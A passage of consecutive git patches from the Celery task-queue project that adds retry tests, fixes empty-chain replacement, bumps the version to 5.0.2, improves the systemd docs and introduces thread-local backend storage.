ret=None, place_holder=N self.retry_task_auto_retry_exception_with_new_args = retry_task_auto_retry_exception_with_new_args + @self.app.task(bind=True, max_retries=10, iterations=0, shared=False, + autoretry_for=(Exception,)) + def retry_task_max_retries_override(self, **kwargs): + # Test for #6436 + self.iterations += 1 + if self.iterations == 3: + # I wanna force fail here cause i have enough + self.retry(exc=MyCustomException, max_retries=0) + self.retry(exc=MyCustomException) + + self.retry_task_max_retries_override = retry_task_max_retries_override + + @self.app.task(bind=True, max_retries=0, iterations=0, shared=False, + autoretry_for=(Exception,)) + def retry_task_explicit_exception(self, **kwargs): + # Test for #6436 + self.iterations += 1 + raise MyCustomException() + + self.retry_task_explicit_exception = retry_task_explicit_exception + @self.app.task(bind=True, max_retries=3, iterations=0, shared=False) def retry_task_raise_without_throw(self, **kwargs): self.iterations += 1 @@ -432,6 +453,22 @@ def test_eager_retry_with_new_params(self): def test_eager_retry_with_autoretry_for_exception(self): assert self.retry_task_auto_retry_exception_with_new_args.si(place_holder="test").apply().get() == "test" + def test_retry_task_max_retries_override(self): + self.retry_task_max_retries_override.max_retries = 10 + self.retry_task_max_retries_override.iterations = 0 + result = self.retry_task_max_retries_override.apply() + with pytest.raises(MyCustomException): + result.get() + assert self.retry_task_max_retries_override.iterations == 3 + + def test_retry_task_explicit_exception(self): + self.retry_task_explicit_exception.max_retries = 0 + self.retry_task_explicit_exception.iterations = 0 + result = self.retry_task_explicit_exception.apply() + with pytest.raises(MyCustomException): + result.get() + assert self.retry_task_explicit_exception.iterations == 1 + def test_retry_eager_should_return_value(self): self.retry_task.max_retries = 3 self.retry_task.iterations = 0 From 8fee0bfeb91fc9483a041bfd169b534a8aa86bf6 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 2 Nov 2020 18:11:03 +0200 Subject: [PATCH 058/415] Happify linter. --- celery/app/autoretry.py | 6 +++--- celery/exceptions.py | 1 - t/integration/test_canvas.py | 1 + t/unit/worker/test_request.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/celery/app/autoretry.py b/celery/app/autoretry.py index 5da8487bd5f..a22b9f04717 100644 --- a/celery/app/autoretry.py +++ b/celery/app/autoretry.py @@ -48,9 +48,9 @@ def run(*args, **kwargs): full_jitter=retry_jitter) # Override max_retries if hasattr(task, 'override_max_retries'): - retry_kwargs['max_retries'] = getattr(task, - 'override_max_retries', - task.max_retries) + retry_kwargs['max_retries'] = getattr(task, + 'override_max_retries', + task.max_retries) ret = task.retry(exc=exc, **retry_kwargs) # Stop propagation if hasattr(task, 'override_max_retries'): diff --git a/celery/exceptions.py b/celery/exceptions.py index ee903290f2f..768cd4d22d2 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -293,4 +293,3 @@ def __init__(self, *args, **kwargs): def __repr__(self): return super().__repr__() + " state:" + self.state + " task_id:" + self.task_id - diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 4ae027fb10a..34b8099674c 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1239,6 +1239,7 @@ class test_signature_serialization: signature object was not properly deserialized from its dictionary representation, and would explode later on if it were used as a signature. """ + def test_rebuild_nested_chain_chain(self, manager): sig = chain( tasks.return_nested_signature_chain_chain.s(), diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 3ed7c553d15..d63ccbb1147 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -1205,7 +1205,7 @@ def test_execute_using_pool_with_none_timelimit_header(self): def test_execute_using_pool__defaults_of_hybrid_to_proto2(self): weakref_ref = Mock(name='weakref.ref') headers = strategy.hybrid_to_proto2(Mock(headers=None), {'id': uuid(), - 'task': self.mytask.name})[1] + 'task': self.mytask.name})[1] job = self.zRequest(revoked_tasks=set(), ref=weakref_ref, **headers) job.execute_using_pool(self.pool) assert job._apply_result From 6cf4f40fc58fe8585721f4df95a1c77d25106dbf Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 2 Nov 2020 18:11:26 +0200 Subject: [PATCH 059/415] Raise proper error when replacing with an empty chain. (#6452) Fixes #6451. --- celery/app/task.py | 7 ++++++- t/integration/tasks.py | 5 +++++ t/integration/test_canvas.py | 16 ++++++++++++---- 3 files changed, 23 insertions(+), 5 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index cab270cfa30..2265ebb9e67 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -8,7 +8,7 @@ from celery import current_app, group, states from celery._state import _task_stack -from celery.canvas import signature +from celery.canvas import _chain, signature from celery.exceptions import (Ignore, ImproperlyConfigured, MaxRetriesExceededError, Reject, Retry) from celery.local import class_property @@ -882,6 +882,11 @@ def replace(self, sig): link=self.request.callbacks, link_error=self.request.errbacks, ) + elif isinstance(sig, _chain): + if not sig.tasks: + raise ImproperlyConfigured( + "Cannot replace with an empty chain" + ) if self.request.chain: # We need to freeze the new signature with the current task's ID to diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 8aa13bc1797..1aaeed32378 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -100,6 +100,11 @@ def replace_with_chain_which_raises(self, *args, link_msg=None): return self.replace(c) +@shared_task(bind=True) +def replace_with_empty_chain(self, *_): + return self.replace(chain()) + + @shared_task(bind=True) def add_to_all(self, nums, val): """Add the given value to all supplied numbers.""" diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 34b8099674c..fe594807ee5 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -6,7 +6,7 @@ from celery import chain, chord, group, signature from celery.backends.base import BaseKeyValueStoreBackend -from celery.exceptions import TimeoutError +from celery.exceptions import ImproperlyConfigured, TimeoutError from celery.result import AsyncResult, GroupResult, ResultSet from . import tasks @@ -15,9 +15,10 @@ add_to_all, add_to_all_to_chord, build_chain_inside_task, chord_error, collect_ids, delayed_sum, delayed_sum_with_soft_guard, fail, identity, ids, - print_unicode, raise_error, redis_echo, retry_once, - return_exception, return_priority, second_order_replace1, - tsum, replace_with_chain, replace_with_chain_which_raises) + print_unicode, raise_error, redis_echo, + replace_with_chain, replace_with_chain_which_raises, + replace_with_empty_chain, retry_once, return_exception, + return_priority, second_order_replace1, tsum) RETRYABLE_EXCEPTIONS = (OSError, ConnectionError, TimeoutError) @@ -584,6 +585,13 @@ def test_chain_with_eb_replaced_with_chain_with_eb(self, manager): assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None redis_connection.delete('redis-echo') + def test_replace_chain_with_empty_chain(self, manager): + r = chain(identity.s(1), replace_with_empty_chain.s()).delay() + + with pytest.raises(ImproperlyConfigured, + match="Cannot replace with an empty chain"): + r.get(timeout=TIMEOUT) + class test_result_set: From 8bed67cbc85fb1f7ee71e2cd50cd76ec36ea521c Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 2 Nov 2020 19:51:28 +0200 Subject: [PATCH 060/415] Update changelog. --- Changelog.rst | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index 14c2b0b0b4c..b65686a6708 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,26 @@ This document contains change notes for bugfix & new features in the 5.0.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.2: + +5.0.2 +===== +:release-date: 2020-11-02 8.00 P.M UTC+2:00 +:release-by: Omer Katz + +- Fix _autodiscover_tasks_from_fixups (#6424). +- Flush worker prints, notably the banner (#6432). +- **Breaking Change**: Remove `ha_policy` from queue definition. (#6440) + + This argument has no effect since RabbitMQ 3.0. + Therefore, We feel comfortable dropping it in a patch release. + +- Python 3.9 support (#6418). +- **Regression**: When using the prefork pool, pick the fair scheduling strategy by default (#6447). +- Preserve callbacks when replacing a task with a chain (#6189). +- Fix max_retries override on `self.retry()` (#6436). +- Raise proper error when replacing with an empty chain (#6452) + .. _version-5.0.1: 5.0.1 From f50cf7d9944558167b85c14d73e8f790da251730 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 2 Nov 2020 19:52:00 +0200 Subject: [PATCH 061/415] =?UTF-8?q?Bump=20version:=205.0.1=20=E2=86=92=205?= =?UTF-8?q?.0.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index ea5f7e924c0..7be80a9bab6 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.1 +current_version = 5.0.2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 25b5e2c8e2b..529669641d9 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.1 (singularity) +:Version: 5.0.2 (singularity) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.1 runs on, +Celery version 5.0.2 runs on, - Python (3.6, 3.7, 3.8) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.1 coming from previous versions then you should read our +new to Celery 5.0.2 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index a9f497130e7..7ed8e28cb0a 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.1' +__version__ = '5.0.2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 188fd291478..a19bd2a012a 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.1 (cliffs) +:Version: 5.0.2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 7434545f55a2de4b6c636ca69fac1ede455bc449 Mon Sep 17 00:00:00 2001 From: Maarten Fonville Date: Mon, 2 Nov 2020 21:44:55 +0100 Subject: [PATCH 062/415] Update daemonizing.rst Improved systemd documentation for auto-start of the service, and mention the possibility to depend on RabbitMQ service. Also add Restart=always for Celery Beat example --- docs/userguide/daemonizing.rst | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index ae804f6c32e..8b74f73bfb4 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -415,6 +415,12 @@ This is an example systemd file: Once you've put that file in :file:`/etc/systemd/system`, you should run :command:`systemctl daemon-reload` in order that Systemd acknowledges that file. You should also run that command each time you modify it. +Use :command:`systemctl enable celery.service` if you want the celery service to +automatically start when (re)booting the system. + +Optionally you can specify extra dependencies for the celery service: e.g. if you use +RabbitMQ as a broker, you could specify ``rabbitmq-server.service`` in both ``After=`` and ``Requires=`` +in the ``[Unit]`` `systemd section `_. To configure user, group, :command:`chdir` change settings: ``User``, ``Group``, and ``WorkingDirectory`` defined in @@ -496,10 +502,16 @@ This is an example systemd file for Celery Beat: ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ --pidfile=${CELERYBEAT_PID_FILE} \ --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' + Restart=always [Install] WantedBy=multi-user.target +Once you've put that file in :file:`/etc/systemd/system`, you should run +:command:`systemctl daemon-reload` in order that Systemd acknowledges that file. +You should also run that command each time you modify it. +Use :command:`systemctl enable celerybeat.service` if you want the celery beat +service to automatically start when (re)booting the system. Running the worker with superuser privileges (root) ====================================================================== From d2a9b74b2122b2af0c5f219bc5800928870bd532 Mon Sep 17 00:00:00 2001 From: Maarten Fonville Date: Mon, 2 Nov 2020 22:01:03 +0100 Subject: [PATCH 063/415] Update celerybeat.service --- extra/systemd/celerybeat.service | 1 + 1 file changed, 1 insertion(+) diff --git a/extra/systemd/celerybeat.service b/extra/systemd/celerybeat.service index 8cb2ad3687e..c1b2034dcdd 100644 --- a/extra/systemd/celerybeat.service +++ b/extra/systemd/celerybeat.service @@ -11,6 +11,7 @@ WorkingDirectory=/opt/celery ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ --pidfile=${CELERYBEAT_PID_FILE} \ --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' +Restart=always [Install] WantedBy=multi-user.target From 25eb27b210dce6a7771671b77fe6a385ce7d7eaa Mon Sep 17 00:00:00 2001 From: Mathieu Rollet Date: Tue, 3 Nov 2020 10:58:48 +0100 Subject: [PATCH 064/415] Fix old celery beat variables Change made 5 days ago in 7c3da03a07882ca86b801ad78dd509a67cba60af is faulty, the correct celery beat variables do start with `CELERYBEAT` and not `CELERY_BEAT` --- docs/userguide/configuration.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index f942188d07d..0e3b8376fa0 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -65,11 +65,11 @@ have been moved into a new ``task_`` prefix. ``CELERY_IMPORTS`` :setting:`imports` ``CELERY_INCLUDE`` :setting:`include` ``CELERY_TIMEZONE`` :setting:`timezone` -``CELERY_BEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` -``CELERY_BEAT_SCHEDULE`` :setting:`beat_schedule` -``CELERY_BEAT_SCHEDULER`` :setting:`beat_scheduler` -``CELERY_BEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` -``CELERY_BEAT_SYNC_EVERY`` :setting:`beat_sync_every` +``CELERYBEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` +``CELERYBEAT_SCHEDULE`` :setting:`beat_schedule` +``CELERYBEAT_SCHEDULER`` :setting:`beat_scheduler` +``CELERYBEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` +``CELERYBEAT_SYNC_EVERY`` :setting:`beat_sync_every` ``BROKER_URL`` :setting:`broker_url` ``BROKER_TRANSPORT`` :setting:`broker_transport` ``BROKER_TRANSPORT_OPTIONS`` :setting:`broker_transport_options` From 762d2e6e12d56e61274d2ef3d279864e99520dcd Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 3 Nov 2020 14:03:11 +0200 Subject: [PATCH 065/415] Fix formatting. --- docs/whatsnew-5.0.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/whatsnew-5.0.rst b/docs/whatsnew-5.0.rst index 9360a5b9588..3f93ce3e979 100644 --- a/docs/whatsnew-5.0.rst +++ b/docs/whatsnew-5.0.rst @@ -291,7 +291,7 @@ Starting from Celery 5.0, the pytest plugin is no longer enabled by default. Please refer to the :ref:`documentation ` for instructions. Ordered Group Results for the Redis Result Backend -------------------------------------------------- +-------------------------------------------------- Previously group results were not ordered by their invocation order. Celery 4.4.7 introduced an opt-in feature to make them ordered. From db35ca1ccaebff02e1fe36912963803d277b4979 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 3 Nov 2020 14:10:30 +0200 Subject: [PATCH 066/415] Fix formatting. --- docs/userguide/configuration.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 0e3b8376fa0..e9c1c76c151 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -65,11 +65,11 @@ have been moved into a new ``task_`` prefix. ``CELERY_IMPORTS`` :setting:`imports` ``CELERY_INCLUDE`` :setting:`include` ``CELERY_TIMEZONE`` :setting:`timezone` -``CELERYBEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` -``CELERYBEAT_SCHEDULE`` :setting:`beat_schedule` -``CELERYBEAT_SCHEDULER`` :setting:`beat_scheduler` -``CELERYBEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` -``CELERYBEAT_SYNC_EVERY`` :setting:`beat_sync_every` +``CELERYBEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` +``CELERYBEAT_SCHEDULE`` :setting:`beat_schedule` +``CELERYBEAT_SCHEDULER`` :setting:`beat_scheduler` +``CELERYBEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` +``CELERYBEAT_SYNC_EVERY`` :setting:`beat_sync_every` ``BROKER_URL`` :setting:`broker_url` ``BROKER_TRANSPORT`` :setting:`broker_transport` ``BROKER_TRANSPORT_OPTIONS`` :setting:`broker_transport_options` From 42361bdd2cb858d24a896d447448b2a6bb47307d Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 4 Nov 2020 00:31:28 +1100 Subject: [PATCH 067/415] fix: Make `--workdir` eager for early handling (#6457) This change makes the `--workdir` options an eager one which `click` will process early for us, before any of the others. At the same time, we add a callback which ensures that the `chdir()` is run during handling of the argument so that all subsequent actions (e.g. app loading) occur in the specified working directory. Fixes #6445 --- celery/bin/celery.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/celery/bin/celery.py b/celery/bin/celery.py index 5488d17c40e..6626c21fa64 100644 --- a/celery/bin/celery.py +++ b/celery/bin/celery.py @@ -1,5 +1,6 @@ """Celery Command Line Interface.""" import os +import pathlib import traceback import click @@ -94,6 +95,9 @@ def convert(self, value, param, ctx): help_group="Global Options") @click.option('--workdir', cls=CeleryOption, + type=pathlib.Path, + callback=lambda _, __, wd: os.chdir(wd) if wd else None, + is_eager=True, help_group="Global Options") @click.option('-C', '--no-color', @@ -121,8 +125,6 @@ def celery(ctx, app, broker, result_backend, loader, config, workdir, click.echo(ctx.get_help()) ctx.exit() - if workdir: - os.chdir(workdir) if loader: # Default app takes loader from this env (Issue #1066). os.environ['CELERY_LOADER'] = loader From 84951b1441ef242c75fe48e2100783b3081487c0 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 3 Nov 2020 16:52:41 +0200 Subject: [PATCH 068/415] Fix example. Fixes #6459. --- examples/next-steps/proj/celery.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/next-steps/proj/celery.py b/examples/next-steps/proj/celery.py index f9be2a1c549..39ce69199a9 100644 --- a/examples/next-steps/proj/celery.py +++ b/examples/next-steps/proj/celery.py @@ -2,7 +2,7 @@ app = Celery('proj', broker='amqp://', - backend='amqp://', + backend='rpc://', include=['proj.tasks']) # Optional configuration, see the application user guide. From 406f04a082949ac42ec7a4af94fed896c515aaa4 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 5 Nov 2020 08:59:10 +0200 Subject: [PATCH 069/415] When using the MongoDB backend, don't cleanup if result_expires is 0 or None. (#6462) Fixes #6450. --- celery/backends/mongodb.py | 3 +++ t/unit/backends/test_mongodb.py | 6 ++++++ 2 files changed, 9 insertions(+) diff --git a/celery/backends/mongodb.py b/celery/backends/mongodb.py index 5ae3ddf8223..76eab766b75 100644 --- a/celery/backends/mongodb.py +++ b/celery/backends/mongodb.py @@ -248,6 +248,9 @@ def _forget(self, task_id): def cleanup(self): """Delete expired meta-data.""" + if not self.expires: + return + self.collection.delete_many( {'date_done': {'$lt': self.app.now() - self.expires_delta}}, ) diff --git a/t/unit/backends/test_mongodb.py b/t/unit/backends/test_mongodb.py index fb304b7e369..5a391d86d30 100644 --- a/t/unit/backends/test_mongodb.py +++ b/t/unit/backends/test_mongodb.py @@ -485,6 +485,12 @@ def test_cleanup(self, mock_get_database): mock_get_database.assert_called_once_with() mock_collection.delete_many.assert_called() + self.backend.collections = mock_collection = Mock() + self.backend.expires = None + + self.backend.cleanup() + mock_collection.delete_many.assert_not_called() + def test_get_database_authfailure(self): x = MongoBackend(app=self.app) x._get_connection = Mock() From b038786209250bfd77de0732fc344fc204e7e54a Mon Sep 17 00:00:00 2001 From: Mike DePalatis Date: Sun, 8 Nov 2020 06:53:00 -0700 Subject: [PATCH 070/415] Add missing space (#6468) --- celery/bin/worker.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 0472fde4c4b..db1c125a185 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -135,7 +135,7 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, type=click.Path(), callback=lambda ctx, _, value: value or ctx.obj.app.conf.worker_state_db, help_group="Worker Options", - help="Path to the state database. The extension '.db' may be" + help="Path to the state database. The extension '.db' may be " "appended to the filename.") @click.option('-l', '--loglevel', From 366264ee00fb0ecb9c8a7cf06438cd9e05da107b Mon Sep 17 00:00:00 2001 From: partizan Date: Sun, 8 Nov 2020 15:55:22 +0200 Subject: [PATCH 071/415] Fix passing queues into purge command (#6469) In current wersion calling `celery --app my.celery_app purge -Q queue_name` is failing with following trace: ``` names = (queues or set(app.amqp.queues.keys())) - exclude_queues TypeError: unsupported operand type(s) for -: 'list' and 'list' ``` Becouse code is expecting set and `queues` is actually a list. Here is a fix. --- celery/bin/purge.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/bin/purge.py b/celery/bin/purge.py index 38245d02ff0..609a9a0f660 100644 --- a/celery/bin/purge.py +++ b/celery/bin/purge.py @@ -32,10 +32,10 @@ def purge(ctx, force, queues, exclude_queues): There's no undo operation for this command. """ - queues = queues or set() - exclude_queues = exclude_queues or set() app = ctx.obj.app - names = (queues or set(app.amqp.queues.keys())) - exclude_queues + queues = set(queues or app.amqp.queues.keys()) + exclude_queues = set(exclude_queues or []) + names = queues - exclude_queues qnum = len(names) if names: From 65fc5f49a58e9d0da433376c0d80eafaa01c2622 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 3 Nov 2020 15:50:45 +0200 Subject: [PATCH 072/415] Change donations sidebar to direct users to OpenCollective. --- docs/_templates/sidebardonations.html | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/docs/_templates/sidebardonations.html b/docs/_templates/sidebardonations.html index d6e6dfaa788..9049cab2cab 100644 --- a/docs/_templates/sidebardonations.html +++ b/docs/_templates/sidebardonations.html @@ -2,12 +2,7 @@ allowtransparency="true" frameborder="0" scrolling="0" width="200px" height="35px">

From 2a6c7cfe3b1283961887bf1cb3f5aa6c8aa70820 Mon Sep 17 00:00:00 2001 From: Nick Pope Date: Tue, 10 Nov 2020 13:49:04 +0000 Subject: [PATCH 073/415] Added pytest to extras. Missed in 9a6c2923e859b6993227605610255bd632c1ae68. --- setup.py | 1 + 1 file changed, 1 insertion(+) diff --git a/setup.py b/setup.py index c5843c28321..35f2dd6b084 100644 --- a/setup.py +++ b/setup.py @@ -33,6 +33,7 @@ 'msgpack', 'pymemcache', 'pyro', + 'pytest', 'redis', 's3', 'slmq', From 28ebcce5d277839011f7782755ac8452b37d6afe Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 17 Nov 2020 09:34:46 +0200 Subject: [PATCH 074/415] Restore app.start() and app.worker_main() (#6481) * Restore `app.start()` and `app.worker_main()`. * Update celery/app/base.py Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> * Fix spelling error. Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> --- celery/app/base.py | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/celery/app/base.py b/celery/app/base.py index ab9433a8a4e..ed4bd748b56 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -1,12 +1,14 @@ """Actual App instance implementation.""" import inspect import os +import sys import threading import warnings from collections import UserDict, defaultdict, deque from datetime import datetime from operator import attrgetter +from click.exceptions import Exit from kombu import pools from kombu.clocks import LamportClock from kombu.common import oid_from @@ -342,6 +344,30 @@ def close(self): self._pool = None _deregister_app(self) + def start(self, argv=None): + from celery.bin.celery import celery + + celery.params[0].default = self + + try: + celery.main(args=argv, standalone_mode=False) + except Exit as e: + return e.exit_code + finally: + celery.params[0].default = None + + def worker_main(self, argv=None): + if argv is None: + argv = sys.argv + + if 'worker' not in argv: + raise ValueError( + "The worker sub-command must be specified in argv.\n" + "Use app.start() to programmatically start other commands." + ) + + self.start(argv=argv) + def task(self, *args, **opts): """Decorator to create a task class out of any callable. From 60ba37900a038420aec0fc76e60c55989f66c718 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 18 Nov 2020 17:45:23 +1100 Subject: [PATCH 075/415] fix: `node_format()` logfile before detaching Fixes #6426 --- celery/bin/worker.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index db1c125a185..cd826b89b17 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -94,6 +94,11 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, executable=None, hostname=None): """Detach program by argv.""" fake = 1 if C_FAKEFORK else fake + # `detached()` will attempt to touch the logfile to confirm that error + # messages won't be lost after detaching stdout/err, but this means we need + # to pre-format it rather than relying on `setup_logging_subsystem()` like + # we can elsewhere. + logfile = node_format(logfile, hostname) with detached(logfile, pidfile, uid, gid, umask, workdir, fake, after_forkers=False): try: From e2031688284484d5b5a57ba29cd9cae2d9a81e39 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Sun, 22 Nov 2020 16:59:14 +0100 Subject: [PATCH 076/415] Multithreaded backend (#6416) * Cache backend to thread local storage instead of global variable * Cache oid to thread local storage instead of global variable * Improve code returning thread_local data * Move thread local storage to Celery class, introduced thread_oid and added unittests --- celery/app/base.py | 24 +++++++++++++-- celery/backends/rpc.py | 4 +-- celery/canvas.py | 2 +- t/unit/app/test_app.py | 59 +++++++++++++++++++++++++++++++++++++ t/unit/backends/test_rpc.py | 17 ++++++++++- t/unit/tasks/test_chord.py | 7 ++--- t/unit/tasks/test_result.py | 47 ++++++++++++++--------------- t/unit/test_canvas.py | 33 +++++++++++++++++++++ 8 files changed, 159 insertions(+), 34 deletions(-) create mode 100644 t/unit/test_canvas.py diff --git a/celery/app/base.py b/celery/app/base.py index ed4bd748b56..27e5b610ca7 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -206,6 +206,8 @@ class name. task_cls = 'celery.app.task:Task' registry_cls = 'celery.app.registry:TaskRegistry' + #: Thread local storage. + _local = None _fixups = None _pool = None _conf = None @@ -229,6 +231,9 @@ def __init__(self, main=None, loader=None, backend=None, changes=None, config_source=None, fixups=None, task_cls=None, autofinalize=True, namespace=None, strict_typing=True, **kwargs): + + self._local = threading.local() + self.clock = LamportClock() self.main = main self.amqp_cls = amqp or self.amqp_cls @@ -727,7 +732,7 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, task_id, name, args, kwargs, countdown, eta, group_id, group_index, expires, retries, chord, maybe_list(link), maybe_list(link_error), - reply_to or self.oid, time_limit, soft_time_limit, + reply_to or self.thread_oid, time_limit, soft_time_limit, self.conf.task_send_sent_event, root_id, parent_id, shadow, chain, argsrepr=options.get('argsrepr'), @@ -1185,15 +1190,28 @@ def oid(self): # which would not work if each thread has a separate id. return oid_from(self, threads=False) + @property + def thread_oid(self): + """Per-thread unique identifier for this app.""" + try: + return self._local.oid + except AttributeError: + self._local.oid = new_oid = oid_from(self, threads=True) + return new_oid + @cached_property def amqp(self): """AMQP related functionality: :class:`~@amqp`.""" return instantiate(self.amqp_cls, app=self) - @cached_property + @property def backend(self): """Current backend instance.""" - return self._get_backend() + try: + return self._local.backend + except AttributeError: + self._local.backend = new_backend = self._get_backend() + return new_backend @property def conf(self): diff --git a/celery/backends/rpc.py b/celery/backends/rpc.py index 9b851db4de8..399c1dc7a20 100644 --- a/celery/backends/rpc.py +++ b/celery/backends/rpc.py @@ -338,5 +338,5 @@ def binding(self): @cached_property def oid(self): - # cached here is the app OID: name of queue we receive results on. - return self.app.oid + # cached here is the app thread OID: name of queue we receive results on. + return self.app.thread_oid diff --git a/celery/canvas.py b/celery/canvas.py index 0279965d2ee..a4de76428dc 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -296,7 +296,7 @@ def freeze(self, _id=None, group_id=None, chord=None, if parent_id: opts['parent_id'] = parent_id if 'reply_to' not in opts: - opts['reply_to'] = self.app.oid + opts['reply_to'] = self.app.thread_oid if group_id and "group_id" not in opts: opts['group_id'] = group_id if chord: diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index a533d0cc4d4..2512b16cd4f 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -2,6 +2,7 @@ import itertools import os import ssl +import uuid from copy import deepcopy from datetime import datetime, timedelta from pickle import dumps, loads @@ -17,6 +18,7 @@ from celery.app import base as _appbase from celery.app import defaults from celery.exceptions import ImproperlyConfigured +from celery.backends.base import Backend from celery.loaders.base import unconfigured from celery.platforms import pyimplementation from celery.utils.collections import DictAttribute @@ -987,6 +989,63 @@ class CustomCelery(type(self.app)): app = CustomCelery(set_as_current=False) assert isinstance(app.tasks, TaskRegistry) + def test_oid(self): + # Test that oid is global value. + oid1 = self.app.oid + oid2 = self.app.oid + uuid.UUID(oid1) + 